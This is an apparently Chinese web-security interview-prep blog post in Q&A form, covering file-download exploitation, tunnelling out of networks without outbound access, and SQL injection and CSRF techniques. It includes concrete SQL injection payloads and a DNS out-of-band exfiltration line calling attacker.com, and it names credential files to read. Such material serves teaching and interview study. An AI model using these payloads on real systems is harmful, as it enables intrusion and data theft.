{"id":80246,"date":"2026-03-04T18:25:20","date_gmt":"2026-03-04T10:25:20","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/80246.html"},"modified":"2026-03-04T18:25:20","modified_gmt":"2026-03-04T10:25:20","slug":"%e7%bd%91%e5%ae%89%e9%9d%a2%e8%af%95%e7%bb%8f%ef%bc%888%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/80246.html","title":{"rendered":"\u7f51\u5b89\u9762\u8bd5\u7ecf\uff088\uff09"},"content":{"rendered":"<p><span style=\"color:#e6b223\">1.\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e\u6709\u6ca1\u6709\u4ec0\u4e48\u6bd4\u8f83\u597d\u7684\u5229\u7528\u65b9\u5f0f<\/span><\/p>\n<p>\u7b54&#xff1a;&lt;1&gt;\u4f2a\u88c5\u6587\u4ef6\u7c7b\u578b&#xff1a;\u8bf1\u5bfc\u7528\u6237\u4e0b\u8f7d\u6076\u610f\u811a\u672c&#xff08;\u5982.php&#xff09;&#xff0c;\u6267\u884c\u4efb\u610f\u4ee3\u7801.<\/p>\n<p>\u00a0 \u00a0 \u00a0 \u00a0&lt;2&gt;\u76ee\u5f55\u904d\u5386&#xff1a;\u901a\u8fc7\u76f8\u5bf9\u8def\u5f84\u8bbf\u95ee\u670d\u52a1\u5668\u6839\u76ee\u5f55\u4e0b\u53d7\u9650\u6587\u4ef6&#xff08;\u5982\/etc\/passwd&#xff09;.<\/p>\n<p>\u00a0 \u00a0 \u00a0 \u00a0&lt;3&gt;\u6587\u4ef6\u7be1\u6539&#xff1a;\u66ff\u6362\u5408\u6cd5\u6587\u4ef6\u4e3a\u6728\u9a6c\u7a0b\u5e8f&#xff0c;\u63a7\u5236\u670d\u52a1\u5668.<\/p>\n<p>\u00a0 \u00a0 \u00a0 \u00a0&lt;4&gt;\u6743\u9650\u63d0\u5347&#xff1a;\u7ed3\u5408\u5176\u4ed6\u6f0f\u6d1e&#xff08;\u5982\u547d\u4ee4\u6ce8\u5165&#xff09;\u83b7\u53d6\u66f4\u9ad8\u6743\u9650\u3002<\/p>\n<p><span style=\"color:#faa572\">2.\u5229\u7528\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e\u627e\u6587\u4ef6\u540d\u5177\u4f53\u662f\u627e\u4ec0\u4e48\u6587\u4ef6\u540d&#xff08;\u8bfb\u53d6\u6587\u4ef6\u4e00\u822c\u4f1a\u8bfb\u53d6\u54ea\u4e9b\u6587\u4ef6&#xff09;&#xff08;ctf\u4e2d&#xff1f;\u5b9e\u6218\u4e2d&#xff1f;&#xff09;<\/span><\/p>\n<p>\u7b54&#xff1a;CTF\u4e2d\u4f18\u5148\u67e5\u627eflag\u6587\u4ef6&#xff08;\u5982flag.txt&#xff09;\u3001\u914d\u7f6e\u6587\u4ef6&#xff08;.env\u3001config.php&#xff09;\u3001\u65e5\u5fd7\u6587\u4ef6&#xff08;access.log&#xff09;\u3001\u5907\u4efd\u6587\u4ef6&#xff08;.bak\u3001.swp&#xff09;\u3002\u5b9e\u6218\u4e2d\u91cd\u70b9\u5173\u6ce8\u7528\u6237\u51ed\u8bc1&#xff08;\/etc\/passwd\u3001\/etc\/shadow&#xff09;\u3001\u6570\u636e\u5e93\u5907\u4efd&#xff08;.sql&#xff09;\u3001\u6e90\u4ee3\u7801&#xff08;.git\u6cc4\u9732&#xff09;\u3001\u654f\u611f\u914d\u7f6e&#xff08;Web.config\u3001application.yml&#xff09;\u3002<\/p>\n<p><span style=\"color:#ed7976\">3.\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e&#xff0c;http\u4e0d\u51fa\u7f51\u6709\u4ec0\u4e48\u6bd4\u8f83\u597d\u7684\u5904\u7406\u65b9\u6cd5&#xff08;\u53d1\u6563\u4e00\u70b9\u8bf4&#xff09;<\/span><\/p>\n<p>\u7b54&#xff1a;&lt;1&gt;\u672c\u5730\u8d44\u6e90\u5229\u7528&#xff1a;\u8bfb\u53d6\/etc\/passwd\u3001.bash_history\u7b49\u654f\u611f\u6587\u4ef6&#xff1b;\u6316\u6398\u914d\u7f6e\u6587\u4ef6&#xff08;\u5982.env\u3001ssh\u5bc6\u94a5&#xff09;<\/p>\n<p>\u00a0 \u00a0 \u00a0 \u00a0&lt;2&gt;\u5185\u5b58\u64cd\u4f5c&#xff1a;\u901a\u8fc7\/proc\/self\/environ\u6ce8\u5165Shellcode&#xff0c;\u6216\u5229\u7528\u5185\u5b58\u9a6c\u7ef4\u6301\u6743\u9650\u3002<\/p>\n<p>\u00a0 \u00a0 \u00a0\u00a0\u00a0&lt;3&gt;\u5185\u7f51\u6e17\u900f&#xff1a;\u82e5\u5b58\u5728\u5185\u7f51&#xff0c;\u901a\u8fc7ARP\u626b\u63cf\u6a2a\u5411\u79fb\u52a8&#xff0c;\u5229\u7528SMB\u3001Redis\u7b49\u672a\u6388\u6743\u670d\u52a1\u63d0\u6743&#xff1b;<\/p>\n<p>\u00a0 \u00a0 \u00a0\u00a0 &lt;4&gt;\u534f\u8bae\u590d\u7528&#xff1a;DNS\u96a7\u9053&#xff08;\u5982dnscat2&#xff09;\u7ed5\u8fc7\u7f51\u7edc\u9650\u5236&#xff1b;<\/p>\n<p>\u00a0 \u00a0 \u00a0 \u00a0&lt;5&gt;\u9632\u5fa1\u52a0\u56fa&#xff1a;\u7981\u7528\u9ad8\u5371\u51fd\u6570&#xff08;\u5982system&#xff09;\u3001\u914d\u7f6eexec-only\u76ee\u5f55\u3001\u542f\u7528eBPF\u76d1\u63a7\u8fdb\u7a0b\u884c\u4e3a\u3002<\/p>\n<p><span style=\"color:#fe2c24\">4.\u63a5\u4e0a\u4e00\u9898&#xff0c;\u901a\u8fc7\u96a7\u9053\u901a\u4fe1&#xff0c;\u8be6\u7ec6\u8bb2\u8bb2\u901a\u8fc7\u4ec0\u4e48\u7c7b\u578b\u7684\u96a7\u9053&#xff0c;\u8bb2\u8bb2\u5177\u4f53\u64cd\u4f5c<\/span><\/p>\n<p>\u7b54&#xff1a;DNS\u96a7\u9053&#xff1a;\u4f7f\u7528dnscat2\/iodine&#xff0c;\u901a\u8fc7DNS\u67e5\u8be2\u4f20\u8f93\u6570\u636e&#xff0c;\u9700\u914d\u7f6eDNS\u670d\u52a1\u5668\u548c\u5ba2\u6237\u7aef&#xff0c;\u7ed5\u8fc7\u51fa\u7f51\u9650\u5236&#xff1b;HTTP\u96a7\u9053&#xff1a;\u5229\u7528reGeorg\/tunna&#xff0c;\u5728\u76ee\u6807\u670d\u52a1\u5668\u90e8\u7f72tunnel\u811a\u672c&#xff0c;\u672c\u5730\u914d\u7f6e\u4ee3\u7406&#xff0c;\u5c06\u6d41\u91cf\u4f2a\u88c5\u4e3aHTTP\u8bf7\u6c42&#xff1b;SOCKS\u4ee3\u7406&#xff1a;\u901a\u8fc7SSH\u52a8\u6001\u8f6c\u53d1&#xff08;ssh -D&#xff09;\u6216proxychains&#xff0c;\u5efa\u7acbSOCKS\u4ee3\u7406\u901a\u9053&#xff0c;\u5b9e\u73b0\u6d41\u91cf\u8f6c\u53d1\u3002<\/p>\n<p><span style=\"color:#ff9900\">5.Wappalyzer\u600e\u4e48\u8fdb\u884c\u6307\u7eb9\u8bc6\u522b\u7684<\/span><\/p>\n<p>\u7b54&#xff1a;\u6293\u53d6\u76ee\u6807\u9875\u9762\u2192\u5206\u6790\u54cd\u5e94\u5934&#xff08;\u5982Server\u3001X-Powered-By&#xff09;\u2192\u626b\u63cfHTML\/JS\/CSS\u4e2d\u7684\u5173\u952e\u8bcd&#xff08;\u5982React\u6807\u8bc6\u7b26\u3001WordPress\u8def\u5f84&#xff09;\u2192\u6bd4\u5bf9\u6570\u636e\u5e93\u89c4\u5219\u2192\u8f93\u51fa\u6280\u672f\u6808\u6e05\u5355\u3002<\/p>\n<p><span style=\"color:#ffd900\">6.\u6709\u54ea\u4e9bSQL\u8bed\u53e5\u65e0\u6cd5\u4f7f\u7528\u9884\u7f16\u8bd1\u7684\u65b9\u5f0f<\/span><\/p>\n<p>\u7b54&#xff1a;1\ufe0f\u20e3 \u52a8\u6001\u8868\/\u5217\u540d&#xff1a;\u5982SELECT * FROM {table}&#xff0c;\u8868\u540d\u65e0\u6cd5\u53c2\u6570\u5316&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a02\ufe0f\u20e3 DDL\/DCL\u8bed\u53e5&#xff1a;CREATE TABLE\u3001GRANT\u7b49\u7ed3\u6784\u5b9a\u4e49\u8bed\u53e5&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a03\ufe0f\u20e3 \u52a8\u6001\u6392\u5e8f\/\u5206\u7ec4&#xff1a;ORDER BY {column}\u9700\u62fc\u63a5\u5217\u540d&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a04\ufe0f\u20e3 \u591a\u8bed\u53e5\u6267\u884c&#xff1a;\u5982SELECT; UPDATE\u7ec4\u5408\u8bed\u53e5\u3002<\/p>\n<p><span style=\"color:#ad720d\">7.SQL\u6ce8\u5165\u5982\u4f55\u5224\u65ad\u6ce8\u5165\u70b9<\/span><\/p>\n<p>\u7b54&#xff1a;1\ufe0f\u20e3 \u5f02\u5e38\u6d4b\u8bd5&#xff1a;\u5355\u5f15\u53f7&#xff08;&#039;&#xff09;\u3001\u53cc\u5f15\u53f7&#xff08;&#034;&#xff09;\u89e6\u53d1\u6570\u636e\u5e93\u9519\u8bef&#xff0c;\u89c2\u5bdf\u9875\u9762\u662f\u5426\u62a5\u9519&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a02\ufe0f\u20e3 \u903b\u8f91\u9a8c\u8bc1&#xff1a;\u8f93\u5165AND 1&#061;1\u4e0eAND 1&#061;2&#xff0c;\u5bf9\u6bd4\u9875\u9762\u5dee\u5f02&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a03\ufe0f\u20e3 \u65f6\u95f4\u5ef6\u8fdf&#xff1a;\u4f7f\u7528SLEEP()\u3001WAITFOR DELAY\u7b49\u51fd\u6570&#xff0c;\u68c0\u6d4b\u54cd\u5e94\u5ef6\u8fdf&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a04\ufe0f\u20e3 \u8054\u5408\u67e5\u8be2&#xff1a;UNION SELECT\u6d4b\u8bd5\u5217\u6570\u5339\u914d&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a05\ufe0f\u20e3 \u9519\u8bef\u63d0\u53d6&#xff1a;\u5229\u7528\u6570\u636e\u5e93\u7279\u5b9a\u9519\u8bef\u4fe1\u606f\u63a8\u65ad\u7c7b\u578b\u3002<\/p>\n<p><span style=\"color:#b95514\">8.\u5df2\u77e5example.com\/?id &#061; 1&#xff0c;\u662fmysql&#xff0c;\u5982\u4f55\u83b7\u5f97mysql\u7248\u672c<\/span><\/p>\n<p>\u7b54&#xff1a;1\ufe0f\u20e3 \u8054\u5408\u67e5\u8be2&#xff1a;id&#061;1 UNION SELECT 1,&#064;&#064;version,3&#xff0c;\u901a\u8fc7\u9875\u9762\u56de\u663e\u76f4\u63a5\u83b7\u53d6\u7248\u672c&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a02\ufe0f\u20e3 \u9519\u8bef\u6ce8\u5165&#xff1a;id&#061;1&#039; AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)&#8211; &#xff0c;\u5229\u7528\u62a5\u9519\u6cc4\u9732\u7248\u672c&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a03\ufe0f\u20e3 \u5185\u7f6e\u51fd\u6570&#xff1a;id&#061;1; SELECT version()&#xff0c;\u591a\u8bed\u53e5\u6267\u884c\u83b7\u53d6\u7248\u672c\u3002<\/p>\n<p><span style=\"color:#be191c\">9.\u65e0\u56de\u663e\u60c5\u51b5\u4e0b\u600e\u4e48\u5f04<\/span><\/p>\n<p>\u7b54&#xff1a;1\ufe0f\u20e3 \u65f6\u95f4\u76f2\u6ce8&#xff1a;\u5229\u7528SLEEP()\u6216BENCHMARK()\u51fd\u6570&#xff0c;\u901a\u8fc7\u54cd\u5e94\u5ef6\u8fdf\u5224\u65ad\u6761\u4ef6\u771f\u5047&#xff0c;\u9010\u5b57\u7b26\u63a8\u5bfc\u7248\u672c\u53f7&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a02\ufe0f\u20e3 DNS\u5916\u5e26&#xff1a;\u901a\u8fc7LOAD_FILE(CONCAT(&#039;\\\\\\\\\\\\\\\\&#039;,version(),&#039;. attacker.com\\\\\\\\foo&#039;))\u89e6\u53d1DNS\u67e5\u8be2&#xff0c;\u4ece\u65e5\u5fd7\u63d0\u53d6\u7248\u672c\u4fe1\u606f&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a03\ufe0f\u20e3 \u5e03\u5c14\u76f2\u6ce8&#xff1a;\u57fa\u4e8e\u9875\u9762\u5185\u5bb9\u5dee\u5f02&#xff08;\u5982HTTP\u72b6\u6001\u7801\u3001\u54cd\u5e94\u957f\u5ea6&#xff09;\u5224\u65adSUBSTRING(&#064;&#064;version,1,1)\u7684ASCII\u503c\u3002<\/p>\n<p><span style=\"color:#1c7331\">10.CSRF\u4f7f\u7528POST\u8bf7\u6c42\u65f6&#xff0c;\u5982\u4f55\u653b\u51fb<\/span><\/p>\n<p>\u7b54&#xff1a;1\ufe0f\u20e3 \u6784\u9020\u6076\u610f\u8868\u5355&#xff1a;\u521b\u5efa\u9690\u85cf\u7684POST\u8868\u5355&#xff0c;\u76ee\u6807\u4e3a\u654f\u611f\u64cd\u4f5c\u63a5\u53e3&#xff08;\u5982\u8f6c\u8d26\u3001\u5bc6\u7801\u4fee\u6539&#xff09;&#xff0c;\u81ea\u52a8\u63d0\u4ea4\u6216\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a02\ufe0f\u20e3 \u8bf1\u5bfc\u8bbf\u95ee&#xff1a;\u901a\u8fc7\u9493\u9c7c\u94fe\u63a5\u3001\u793e\u4ea4\u5de5\u7a0b\u7b49\u624b\u6bb5&#xff0c;\u8bf1\u4f7f\u5df2\u8ba4\u8bc1\u7528\u6237\u8bbf\u95ee\u6076\u610f\u9875\u9762&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a03\ufe0f\u20e3 \u7ed5\u8fc7\u9632\u62a4&#xff1a;\u5229\u7528\u76ee\u6807\u7ad9\u70b9\u672a\u542f\u7528CSRF Token\u3001Referer\u68c0\u67e5\u7f3a\u5931\u6216SameSite Cookie\u914d\u7f6e\u4e0d\u5f53\u7b49\u6f0f\u6d1e&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a04\ufe0f\u20e3 \u6267\u884c\u6076\u610f\u64cd\u4f5c&#xff1a;\u7528\u6237\u6d4f\u89c8\u5668\u81ea\u52a8\u53d1\u9001POST\u8bf7\u6c42&#xff0c;\u4ee5\u7528\u6237\u8eab\u4efd\u5b8c\u6210\u653b\u51fb\u52a8\u4f5c\u3002<\/p>\n<p><span style=\"color:#98c091\">11.Ajax\u53d1\u9001POST\u8bf7\u6c42\u4f1a\u53d1\u51e0\u4e2a\u6570\u636e\u5305<\/span><\/p>\n<p>\u7b54&#xff1a;1\ufe0f\u20e3 HTTP\u8bf7\u6c42\u62a5\u6587&#xff1a;\u5305\u542b\u76ee\u6807URL\u3001POST\u6570\u636e&#xff08;\u5982JSON\/\u8868\u5355&#xff09;\u3001\u8bf7\u6c42\u5934&#xff08;\u5982Content-Type&#xff09;&#xff1b;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a02\ufe0f\u20e3 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